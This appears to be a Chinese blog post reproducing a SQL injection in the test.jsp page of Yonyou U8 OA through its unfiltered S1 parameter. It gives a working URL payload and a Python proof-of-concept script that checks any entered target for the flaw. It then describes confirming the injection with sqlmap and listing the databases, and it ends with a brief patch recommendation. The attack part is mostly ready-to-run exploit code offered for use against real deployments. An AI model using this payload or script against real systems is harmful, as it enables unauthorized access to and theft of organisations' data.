用友OA U8 test.jsp sql注入漏洞复现

警告:本文所涉及内容只可用于交流学习,请勿使用本文提到的内容违反法律,本文和作者不提供任何担保!!!

一、漏洞详情

用友U8 OA test.jsp存在SQL注入,主要是其s1参数未做过滤,导致sql注入,漏洞影响范围为“用友U8OA”。

用友u8OA界面如下

 二、漏洞复现

1、初步验证和探测

payload如下

ip:port/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20MD5(1))

在url一栏测试一下,发现回显成功,判定存在sql注入

也可使用以下脚本探测

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+输入目标url')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
        if "c4ca4238a0b923820dcc509a6f75849b" in response.text and response.status_code == 200:
            print("\033[32m[o] 目标 {}存在漏洞 \n[o] 响应地址: {} \033[0m".format(target_url, vuln_url))
        else:
            print("\033[31m[x] 目标 {}不存在漏洞 \033[0m".format(target_url))
    except Exception as e:
        print("\033[31m[x] 目标 {} 请求失败 \033[0m".format(target_url))

if __name__ == '__main__':
    title()
    target_url = str(input("Please input Attack Url\n目标Url >>> "))
    POC_1(target_url)

 脚本探测结果(显示存在此漏洞)

 2、使用sqlmap进一步验证

 burp抓取数据包,使用sqlmap验证

跑的时间有点长,建议指定数据库 --dbms=数据库类型

本次目标站指定mysql数据库,如下图

 经过等待,发现存在sql注入

 列出所有数据库,证明到此结束,(可进一步获取数据)

三、修复建议

更新至最新安全版本

  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值